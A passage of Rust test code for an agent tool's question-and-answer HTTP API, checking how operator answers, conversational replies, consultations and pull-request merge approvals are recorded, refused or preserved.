13556            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13557            Some("use fallback")
13558        );
13559    }
13560
13561    #[tokio::test]
13562    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13563        let fx = Fixture {
13564            home: TempDir::new().unwrap(),
13565            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13566        };
13567        for choice in [
13568            crate::land::HOLD,
13569            crate::land::REPAIR,
13570            crate::land::APPROVE,
13571            crate::merge_decision::WITHDRAW,
13572            "reimplement:beta",
13573        ] {
13574            let mut q = Question::new(
13575                "old-run".into(),
13576                crate::land::APPROVAL_NODE.into(),
13577                "land".into(),
13578                "Decision".into(),
13579                "Review findings".into(),
13580                vec![
13581                    "merge".into(),
13582                    "hold".into(),
13583                    crate::land::REPAIR.into(),
13584                    crate::merge_decision::WITHDRAW.into(),
13585                    "reimplement:beta".into(),
13586                ],
13587            );
13588            q.merge_target = Some(crate::merge_decision::Target {
13589                pr: "https://github.com/example/repo/pull/42".into(),
13590                head: "exact-reviewed-head".into(),
13591                language: "ja".into(),
13592            });
13593            q.consult = Some(ask::ChatConsult {
13594                talk: "another-conversation".into(),
13595                at: jiff::Timestamp::now(),
13596            });
13597            fx.questions().put(&mut q).unwrap();
13598            let ui = Arc::new(Ui::new(
13599                fx.queue(),
13600                fx.questions(),
13601                fx.talks(),
13602                fx.runs(),
13603                fx.home.path().into(),
13604                std::path::PathBuf::from("."),
13605            ));
13606            let response = question_answer(
13607                State(ui.clone()),
13608                Path(q.id.clone()),
13609                Ok(Json(NewAnswer {
13610                    choice: Some(choice.into()),
13611                    text: None,
13612                    ..Default::default()
13613                })),
13614            )
13615            .await
13616            .unwrap();
13617            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13618            let disk = fx.questions().get(&q.id).unwrap();
13619            assert_eq!(disk.merge_target, q.merge_target);
13620            assert_eq!(disk.consult, q.consult);
13621            assert_eq!(disk.resolution().as_deref(), Some(choice));
13622            assert!(
13623                question_answer(
13624                    State(ui),
13625                    Path(q.id.clone()),
13626                    Ok(Json(NewAnswer {
13627                        choice: Some("merge".into()),
13628                        text: None,
13629                        ..Default::default()
13630                    }))
13631                )
13632                .await
13633                .is_err(),
13634                "an already settled decision cannot turn into merge approval"
13635            );
13636        }
13637    }
13638
13639    #[tokio::test]
13640    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13641        let fx = Fixture {
13642            home: TempDir::new().unwrap(),
13643            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13644        };
13645        let mut state = crate::land::tests::repair_state(true, true);
13646        state.status = RunStatus::Landing;
13647        state.parked = true;
13648        state.driver_exited = true;
13649        let mut task = Task::new(
13650            "Existing PR owner".into(),
13651            state.instruction.clone(),
13652            state.repo.clone(),
13653            Source::Human,
13654        );
13655        task.runs.push(state.id.clone());
13656        task.status = TaskStatus::Parked;
13657        fx.queue().put(&mut task).unwrap();
13658        let mut q = Question::new(
13659            state.id.clone(),
13660            crate::land::APPROVAL_NODE.into(),
13661            "land".into(),
13662            "Contested merge".into(),
13663            "Original evidence".into(),
13664            vec!["merge".into(), "hold".into()],
13665        );
13666        state.land_approval = Some(crate::run::LandApproval {
13667            question: q.id.clone(),
13668            head: "reviewed-head".into(),
13669        });
13670        state.save_under(fx.home.path()).unwrap();
13671        fx.questions().put(&mut q).unwrap();
13672        // A later repair answer on this old card supersedes this manual hold.
13673        task.hold_manual(Some("Pause this PR".into()));
13674        fx.queue().put(&mut task).unwrap();
13675        // POST directly, without a preceding GET: validation must see the
13676        // same durable upgrade that the card, CLI and chat see.
13677        let ui = Arc::new(Ui::new(
13678            fx.queue(),
13679            fx.questions(),
13680            fx.talks(),
13681            fx.runs(),
13682            fx.home.path().to_path_buf(),
13683            state.repo.clone(),
13684        ));
13685        let response = question_answer(
13686            State(ui),
13687            Path(q.id.clone()),
13688            Ok(Json(NewAnswer {
13689                choice: Some(crate::land::REPAIR.into()),
13690                text: None,
13691                ..Default::default()
13692            })),
13693        )
13694        .await
13695        .unwrap();
13696        assert_eq!(response.0.question.id, q.id);
13697        let upgraded = fx.questions().get(&q.id).unwrap();
13698        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13699        assert!(upgraded.detail.starts_with("Original evidence"));
13700        let claim = fx.queue().claim(&task.id).unwrap();
13701        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13702        assert!(
13703            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13704            "an existing driver keeps its claim"
13705        );
13706        drop(claim);
13707        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13708        let resumed = fx.queue().get(&task.id).unwrap();
13709        assert_eq!(
13710            resumed
13711                .resume_override
13712                .as_ref()
13713                .unwrap()
13714                .pinned_run
13715                .as_deref(),
13716            Some(state.id.as_str())
13717        );
13718        assert!(resumed.status.runnable());
13719        assert_eq!(resumed.instruction, task.instruction);
13720        assert_eq!(resumed.runs, task.runs);
13721        assert!(resumed.action_applied(&q.id));
13722        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13723        assert_eq!(fx.queue().list().len(), 1);
13724        assert_eq!(
13725            fx.queue().get(&task.id).unwrap().resume_override,
13726            resumed.resume_override
13727        );
13728        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13729        assert!(
13730            disk.merge_repairs.is_empty(),
13731            "only the claimed run driver may execute repair"
13732        );
13733        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13734    }
13735
13736    #[tokio::test]
13737    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13738        let fx = Fixture::start().await;
13739        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13740        let path = format!("/api/questions/{id}/answer");
13741
13742        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13743        assert_eq!(res.status, 200, "{}", res.body);
13744        let body = res.json();
13745        assert_eq!(body["status"], "answered");
13746        assert_eq!(body["answer"]["choice"], "Redis");
13747
13748        // Answered from the terminal in between the list and the tap: the UI
13749        // must be able to tell this from a bad request, so it can show the
13750        // recorded answer instead of an error.
13751        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13752        assert_eq!(again.status, 409, "{}", again.body);
13753        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13754    }
13755
13756    #[tokio::test]
13757    async fn fresh_api_answers_survive_task_inquiry_migration() {
13758        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13759        for migrate_first in [false, true] {
13760            let fx = Fixture::start().await;
13761            let mut task = Task::new(
13762                "work".into(),
13763                "work".into(),
13764                PathBuf::from("/repo/magi"),
13765                Source::Human,
13766            );
13767            task.runs.push("run-a".into());
13768            fx.queue().put(&mut task).unwrap();
13769            let mut q = Question::new(
13770                "run-a".into(),
13771                "implement".into(),
13772                "impl-A".into(),
13773                "Keep held?".into(),
13774                String::new(),
13775                vec!["hold".into()],
13776            );
13777            q.actions.insert("hold".into(), ChoiceAction::Hold);
13778            fx.questions().put(&mut q).unwrap();
13779            if migrate_first {
13780                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13781            }
13782            let response = fx
13783                .post(
13784                    &format!("/api/questions/{}/answer", q.id),
13785                    Some(r#"{"choice":"hold"}"#),
13786                )
13787                .await;
13788            assert_eq!(response.status, 200, "{}", response.body);
13789            for _ in 0..2 {
13790                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13791                let source = fx.questions().get(&q.id).unwrap();
13792                assert_eq!(source.resolution().as_deref(), Some("hold"));
13793                let decision = Outbox::at(fx.home.path())
13794                    .get(&q.id)
13795                    .unwrap()
13796                    .decision
13797                    .unwrap();
13798                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13799                assert_eq!(decision.source_answer_at, source.answered_at);
13800                assert_eq!(decision.status, Status::Queued);
13801            }
13802            assert_eq!(
13803                fx.post(
13804                    &format!("/api/questions/{}/answer", q.id),
13805                    Some(r#"{"choice":"hold"}"#)
13806                )
13807                .await
13808                .status,
13809                409
13810            );
13811        }
13812    }
13813
13814    #[tokio::test]
13815    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13816        let home = tempfile::tempdir().unwrap();
13817        let ui = delta_test_ui(home.path());
13818        let mut q = Question::new(
13819            "task".into(),
13820            crate::land::APPROVAL_NODE.into(),
13821            "land".into(),
13822            "Explain?".into(),
13823            String::new(),
13824            vec!["hold".into()],
13825        );
13826        q.deputy = Some(ask::Deputy::new("context".into()));
13827        ui.questions.put(&mut q).unwrap();
13828        let mut cfg = stub_config();
13829        cfg.daemon.max_deputies = 0;
13830        let mut status = crate::daemon::Status::new();
13831        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13832        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13833        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13834        let error = question_say(
13835            State(ui.clone()),
13836            Path(q.id.clone()),
13837            Ok(Json(NewSay {
13838                body: "Explain the findings".into(),
13839            })),
13840        )
13841        .await
13842        .unwrap_err();
13843        assert_eq!(
13844            error.text_reason,
13845            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13846        );
13847        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13848
13849        let mut text = Question::new(
13850            "task".into(),
13851            "ask".into(),
13852            "operator".into(),
13853            "Which name?".into(),
13854            String::new(),
13855            vec![],
13856        );
13857        ui.questions.put(&mut text).unwrap();
13858        let Json(view) = question_answer(
13859            State(ui.clone()),
13860            Path(text.id.clone()),
13861            Ok(Json(NewAnswer {
13862                choice: None,
13863                text: Some("chosen name".into()),
13864                ..Default::default()
13865            })),
13866        )
13867        .await
13868        .unwrap();
13869        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13870        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13871    }
13872
13873    #[tokio::test]
13874    async fn question_text_handler_admission_without_transport() {
13875        let home = tempfile::tempdir().unwrap();
13876        let ui = delta_test_ui(home.path());
13877        let mut q = Question::new(
13878            "task".into(),
13879            crate::land::APPROVAL_NODE.into(),
13880            "land".into(),
13881            "May this PR merge?".into(),
13882            String::new(),
13883            vec!["hold".into()],
13884        );
13885        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13886        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13887        ui.questions.put(&mut q).unwrap();
13888        let say = || {
13889            Ok(Json(NewSay {
13890                body: "Explain the findings".into(),
13891            }))
13892        };
13893        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13894            .await
13895            .unwrap_err();
13896        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13897        let response = rejected.into_response();
13898        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13899            .await
13900            .unwrap();
13901        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13902        assert_eq!(body["code"], "question_text_unavailable");
13903        assert_eq!(body["reason"], "deputy_exhausted");
13904        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13905        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13906        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13907        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13908            .await
13909            .unwrap();
13910        assert_eq!(view.text_delivery.state, "live");
13911        assert!(view.question.waiter.is_none());
13912        assert!(view.question.cwd.is_none());
13913        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13914        ui.questions.drop_lease(&q.id);
13915        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13916            .await
13917            .unwrap_err();
13918        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13919        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13920        let _ = question_answer(
13921            State(ui.clone()),
13922            Path(q.id.clone()),
13923            Ok(Json(NewAnswer {
13924                choice: Some("hold".into()),
13925                text: None,
13926                ..Default::default()
13927            })),
13928        )
13929        .await
13930        .unwrap();
13931        assert_eq!(
13932            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13933            Some("hold")
13934        );
13935    }
13936
13937    #[tokio::test]
13938    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13939        let fx = Fixture::start().await;
13940        let store = fx.questions();
13941        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13942        store
13943            .update(&id, |q| {
13944                q.node = crate::land::APPROVAL_NODE.to_owned();
13945                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13946                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13947                Ok(())
13948            })
13949            .unwrap();
13950        let path = format!("/api/questions/{id}/say");
13951        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13952        assert_eq!(refused.status, 422, "{}", refused.body);
13953        assert!(
13954            refused.json()["error"]
13955                .as_str()
13956                .unwrap()
13957                .contains("deputy_exhausted")
13958        );
13959        assert!(store.get(&id).unwrap().thread.is_empty());
13960
13961        // A final live deputy is usable even with no ordinary waiter/cwd.
13962        store.beat(&id, ask::WaiterKind::Deputy);
13963        let view = fx.get("/api/questions").await.json();
13964        assert_eq!(view[0]["text_delivery"]["state"], "live");
13965        let accepted = fx
13966            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13967            .await;
13968        assert_eq!(accepted.status, 200, "{}", accepted.body);
13969        let before = std::fs::read(store.path_of(&id)).unwrap();
13970
13971        // The recipient exits between rendering and sending. Rejection must
13972        // preserve previously accepted text, the answer and delivery cursor.
13973        store.drop_lease(&id);
13974        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13975        assert_eq!(refused.status, 422, "{}", refused.body);
13976        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13977        let held = fx
13978            .post(
13979                &format!("/api/questions/{id}/answer"),
13980                Some(r#"{"choice":"hold"}"#),
13981            )
13982            .await;
13983        assert_eq!(held.status, 200, "{}", held.body);
13984        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13985    }
13986
13987    #[tokio::test]
13988    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13989        let repo = tempfile::tempdir().unwrap();
13990        let mut cfg = stub_config();
13991        cfg.daemon.max_deputies = 0;
13992        std::fs::write(
13993            repo.path().join("magi.toml"),
13994            toml::to_string(&cfg).unwrap(),
13995        )
13996        .unwrap();
13997        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13998        let mut status = crate::daemon::Status::new();
13999        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14000        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14001        let id = ask(&fx, "Explain?", &["hold"]);
14002        fx.questions()
14003            .update(&id, |q| {
14004                q.node = crate::land::APPROVAL_NODE.into();
14005                q.deputy = Some(ask::Deputy::new("context".into()));
14006                q.deputy.as_mut().unwrap().agent = "stub".into();
14007                Ok(())
14008            })
14009            .unwrap();
14010        cfg.daemon.max_deputies = 1;
14011        std::fs::write(
14012            repo.path().join("magi.toml"),
14013            toml::to_string(&cfg).unwrap(),
14014        )
14015        .unwrap();
14016        let view = fx.get("/api/questions").await.json();
14017        assert_eq!(view[0]["deputies_enabled"], true);
14018        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14019        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14020        let res = fx
14021            .post(
14022                &format!("/api/questions/{id}/say"),
14023                Some(r#"{"body":"Please explain"}"#),
14024            )
14025            .await;
14026        assert_eq!(res.status, 422, "{}", res.body);
14027        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14028    }
14029
14030    #[tokio::test]
14031    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14032        let fx = Fixture::start().await;
14033        let id = ask(&fx, "No seat", &[]);
14034        let store = fx.questions();
14035        let before = std::fs::read(store.path_of(&id)).unwrap();
14036        let res = fx
14037            .post(
14038                &format!("/api/questions/{id}/say"),
14039                Some(r#"{"body":"hello"}"#),
14040            )
14041            .await;
14042        assert_eq!(res.status, 422, "{}", res.body);
14043        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14044        let res = fx
14045            .post(
14046                &format!("/api/questions/{id}/answer"),
14047                Some(r#"{"text":"hello"}"#),
14048            )
14049            .await;
14050        assert_eq!(res.status, 200, "{}", res.body);
14051        assert_eq!(
14052            store.get(&id).unwrap().resolution().as_deref(),
14053            Some("hello")
14054        );
14055    }
14056
14057    #[tokio::test]
14058    async fn saying_something_appends_a_turn_without_answering() {
14059        let fx = Fixture::start().await;
14060        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14061        fx.questions().beat(&id, ask::WaiterKind::Asker);
14062        let path = format!("/api/questions/{id}/say");
14063
14064        let res = fx
14065            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14066            .await;
14067        assert_eq!(res.status, 200, "{}", res.body);
14068        let body = res.json();
14069        assert_eq!(body["status"], "open", "talking back is not a decision");
14070        assert_eq!(body["answer"], Value::Null);
14071        assert_eq!(body["thread"][0]["who"], "operator");
14072        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14073        assert_eq!(body["waiting_on_agent"], true);
14074        // Still open, still counted, still exactly one question.
14075        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14076    }
14077
14078    #[tokio::test]
14079    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14080        let fx = Fixture::start().await;
14081        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14082
14083        let list = fx.get("/api/questions").await.json();
14084        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14085
14086        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14087        assert_eq!(res.status, 409, "{}", res.body);
14088        let q = fx.questions().get(&id).unwrap();
14089        assert!(q.status.open());
14090        assert!(q.consult.is_none());
14091    }
14092
14093    #[tokio::test]
14094    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14095        let fx = Fixture::start().await;
14096        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14097        let cfg = Config {
14098            agents: vec![crate::config::AgentSpec {
14099                id: "mock".to_owned(),
14100                kind: crate::config::AgentKind::Command,
14101                model: None,
14102                command: vec!["true".to_owned()],
14103                extra_args: Vec::new(),
14104                env: Default::default(),
14105                prompt_delivery: None,
14106                max_turn_secs: None,
14107            }],
14108            ..Config::default()
14109        };
14110        let talk = crate::talk::begin(
14111            &fx.talks(),
14112            &cfg,
14113            fx.home.path().to_path_buf(),
14114            Some("mock"),
14115        )
14116        .unwrap();
14117        let mut task = Task::new(
14118            "t".to_owned(),
14119            "Do it".to_owned(),
14120            PathBuf::from("/repo/magi"),
14121            Source::Agent {
14122                run: talk.id.clone(),
14123                node: crate::queue::CHAT_NODE.to_owned(),
14124            },
14125        );
14126        task.start("20260902-000000-beef".to_owned());
14127        fx.queue().put(&mut task).unwrap();
14128
14129        let list = fx.get("/api/questions").await.json();
14130        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14131        assert_eq!(
14132            list[0]["choices"],
14133            serde_json::json!(["SQLite", "Redis"]),
14134            "the hand-over is never a choice"
14135        );
14136        fx.questions()
14137            .update(&id, |q| {
14138                q.node = crate::land::APPROVAL_NODE.into();
14139                q.choices = vec!["merge".into(), "hold".into()];
14140                Ok(())
14141            })
14142            .unwrap();
14143        let list = fx.get("/api/questions").await.json();
14144        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14145        assert_eq!(list[0]["can_consult_chat"], true);
14146        fx.questions()
14147            .update(&id, |q| {
14148                q.node = crate::bump::NOTICE_NODE.into();
14149                Ok(())
14150            })
14151            .unwrap();
14152        let list = fx.get("/api/questions").await.json();
14153        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14154        assert_eq!(list[0]["can_consult_chat"], false);
14155    }
14156
14157    #[tokio::test]
14158    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14159        let fx = Fixture::start().await;
14160        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14161        fx.questions()
14162            .update(&id, |q| {
14163                q.node = crate::land::APPROVAL_NODE.into();
14164                q.choices = vec!["merge".into(), "hold".into()];
14165                Ok(())
14166            })
14167            .unwrap();
14168        let cfg = Config {
14169            agents: vec![crate::config::AgentSpec {
14170                id: "mock".to_owned(),
14171                kind: crate::config::AgentKind::Command,
14172                model: None,
14173                command: vec!["true".to_owned()],
14174                extra_args: Vec::new(),
14175                env: Default::default(),
14176                prompt_delivery: None,
14177                max_turn_secs: None,
14178            }],
14179            ..Config::default()
14180        };
14181        // Not a git working tree, so its `magi.toml` is read from disk.
14182        let repo = fx.home.path().join("chat-repo");
14183        std::fs::create_dir_all(&repo).unwrap();
14184        let toml = repo.join("magi.toml");
14185        std::fs::write(&toml, "this is = = not toml").unwrap();
14186        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14187        let mut task = Task::new(
14188            "t".to_owned(),
14189            "Do it".to_owned(),
14190            PathBuf::from("/repo/magi"),
14191            Source::Agent {
14192                run: talk.id.clone(),
14193                node: crate::queue::CHAT_NODE.to_owned(),
14194            },
14195        );
14196        task.start("20260902-000000-beef".to_owned());
14197        fx.queue().put(&mut task).unwrap();
14198
14199        let path = format!("/api/questions/{id}/consult");
14200        let res = fx.post(&path, None).await;
14201        assert!(res.status >= 400, "{}", res.body);
14202        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14203        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14204
14205        std::fs::write(&toml, "").unwrap();
14206        let res = fx.post(&path, None).await;
14207        assert_eq!(res.status, 202, "{}", res.body);
14208        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14209        let q = fx.questions().get(&id).unwrap();
14210        assert!(q.status.open());
14211        assert!(q.answer.is_none());
14212        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14213        assert_eq!(res.json()["can_consult_chat"], true);
14214        let list = fx.get("/api/questions").await.json();
14215        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14216        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14217
14218        let res = fx
14219            .post(
14220                &format!("/api/questions/{id}/answer"),
14221                Some(r#"{"choice":"hold"}"#),
14222            )
14223            .await;
14224        assert_eq!(res.status, 200, "{}", res.body);
14225        assert_eq!(res.json()["answer"]["choice"], "hold");
14226        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14227        assert_eq!(res.json()["can_consult_chat"], false);
14228        assert_eq!(fx.post(&path, None).await.status, 409);
14229
14230        let mut talk = fx.talks().get(&talk.id).unwrap();
14231        // This test closes the history view, not an unconsumed consultation.
14232        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14233        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14234        let list = fx.get("/api/questions").await.json();
14235        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14236        assert_eq!(list[0]["origin_chat_closed"], true);
14237        assert_eq!(list[0]["can_consult_chat"], false);
14238
14239        fx.talks().remove(&talk.id).unwrap();
14240        let list = fx.get("/api/questions").await.json();
14241        assert_eq!(list[0]["origin_chat"], Value::Null);
14242        assert_eq!(list[0]["origin_chat_closed"], false);
14243        assert_eq!(list[0]["can_consult_chat"], false);
14244    }
14245
14246    #[tokio::test]
14247    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14248        let fx = Fixture::start().await;
14249        let store = fx.questions();
14250        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14251        store.beat(&id, ask::WaiterKind::Asker);
14252        assert_eq!(
14253            fx.get("/api/health").await.json()["questions_needs_owner"],
14254            1
14255        );
14256
14257        // The owner asks back instead of deciding: the ask bar, the nav badge
14258        // and the title must stop naming this question, because there is
14259        // nothing to decide until the agent answers - `status` alone cannot
14260        // say that, which is the whole reason `questions_needs_owner` exists
14261        // alongside `questions_open`.
14262        let res = fx
14263            .post(
14264                &format!("/api/questions/{id}/say"),
14265                Some(r#"{"body":"why not Postgres?"}"#),
14266            )
14267            .await;
14268        assert_eq!(res.status, 200, "{}", res.body);
14269        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14270        assert_eq!(
14271            fx.get("/api/health").await.json()["questions_needs_owner"],
14272            0,
14273            "waiting on the agent is not waiting on the owner"
14274        );
14275
14276        // `magi ask --thread` replying is what brings the owner count back -
14277        // the same event that would resume the CLI call blocked in `magi
14278        // ask`.
14279        let mut q = store.get(&id).expect("get");
14280        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14281            .expect("reply");
14282        store.put(&mut q).expect("put");
14283        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14284        assert_eq!(
14285            fx.get("/api/health").await.json()["questions_needs_owner"],
14286            1,
14287            "the agent's reply is what should light the banner back up"
14288        );
14289    }
14290
14291    #[tokio::test]
14292    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14293        let fx = Fixture::start().await;
14294        let store = fx.questions();
14295
14296        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14297        let res = fx
14298            .post(
14299                &format!("/api/questions/{empty_id}/say"),
14300                Some(r#"{"body":"   "}"#),
14301            )
14302            .await;
14303        assert_eq!(res.status, 400, "{}", res.body);
14304
14305        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14306        let mut answered = store.get(&answered_id).expect("get");
14307        answered
14308            .answer(Answer::Choice("SQLite".to_owned()))
14309            .expect("answer");
14310        store.put(&mut answered).expect("put");
14311        let res = fx
14312            .post(
14313                &format!("/api/questions/{answered_id}/say"),
14314                Some(r#"{"body":"still there?"}"#),
14315            )
14316            .await;
14317        assert_eq!(res.status, 409, "{}", res.body);
14318
14319        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14320        let mut abandoned = store.get(&abandoned_id).expect("get");
14321        abandoned.abandon("timed out");
14322        store.put(&mut abandoned).expect("put");
14323        let res = fx
14324            .post(
14325                &format!("/api/questions/{abandoned_id}/say"),
14326                Some(r#"{"body":"still there?"}"#),
14327            )
14328            .await;
14329        assert_eq!(res.status, 409, "{}", res.body);
14330    }
14331
14332    #[tokio::test]
14333    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14334        let fx = Fixture::start().await;
14335        let questions = fx.questions();
14336        let mut q = Question::new(
14337            String::new(),
14338            crate::bump::NOTICE_NODE.into(),
14339            "release-watch".into(),
14340            "Release PR approval".into(),
14341            "Saved head".into(),
14342            vec!["merge".into(), "hold".into()],
14343        );
14344        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14345        q.merge_target = Some(crate::merge_decision::Target {
14346            pr: "https://example.test/mebae/pull/100".into(),
14347            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14348            language: "en".into(),
14349        });
14350        q.answer(Answer::Choice("merge".into())).unwrap();
14351        q.answer_delivered = true;
14352        questions.put(&mut q).unwrap();
14353        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14354        std::fs::create_dir_all(&dir).unwrap();
14355        std::fs::write(
14356            dir.join("state.json"),
14357            serde_json::to_vec(&serde_json::json!({
14358                "schema": 1, "sources": [q.id], "pending": [q.id]
14359            }))
14360            .unwrap(),
14361        )
14362        .unwrap();
14363        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14364        for migrated in [false, true] {
14365            if migrated {
14366                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14367            }
14368            for endpoint in ["/api/questions", "/api/questions/core"] {
14369                let response = fx.get(endpoint).await;
14370                assert_eq!(response.status, 200);
14371                let rows = response.json();
14372                let row = rows
14373                    .as_array()
14374                    .unwrap()
14375                    .iter()
14376                    .find(|r| r["id"] == q.id)
14377                    .unwrap();
14378                assert_eq!(row["status"], "answered");
14379                assert_eq!(row["answer"]["choice"], "merge");
14380                assert_eq!(row["can_answer"], false);
14381                assert_eq!(row["history_only"], true);
14382            }
14383            let answer = fx
14384                .post(
14385                    &format!("/api/questions/{}/answer", q.id),
14386                    Some(r#"{"choice":"merge"}"#),
14387                )
14388                .await;
14389            assert_eq!(answer.status, 409, "{}", answer.body);
14390            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14391        }
14392    }
14393
14394    #[tokio::test]
14395    async fn an_answer_the_question_does_not_offer_is_refused() {
14396        let fx = Fixture::start().await;
14397        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14398        let path = format!("/api/questions/{id}/answer");
14399
14400        for body in [
14401            r#"{"choice":"Postgres"}"#,
14402            r#"{"text":"whatever you think"}"#,
14403            r#"{"choice":"Redis","text":"both"}"#,
14404            r#"{}"#,
14405        ] {
14406            let res = fx.post(&path, Some(body)).await;
14407            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14408            assert!(res.json()["error"].is_string(), "{}", res.body);
14409        }
14410        // Nothing above may have answered it.
14411        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14412    }
14413
14414    #[tokio::test]
14415    async fn a_free_text_question_takes_text_and_not_a_choice() {
14416        let fx = Fixture::start().await;
14417        let id = ask(&fx, "What should the flag be called?", &[]);
14418        fx.questions().beat(&id, ask::WaiterKind::Asker);
14419        let path = format!("/api/questions/{id}/answer");
14420
14421        assert_eq!(
14422            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14423            400
14424        );
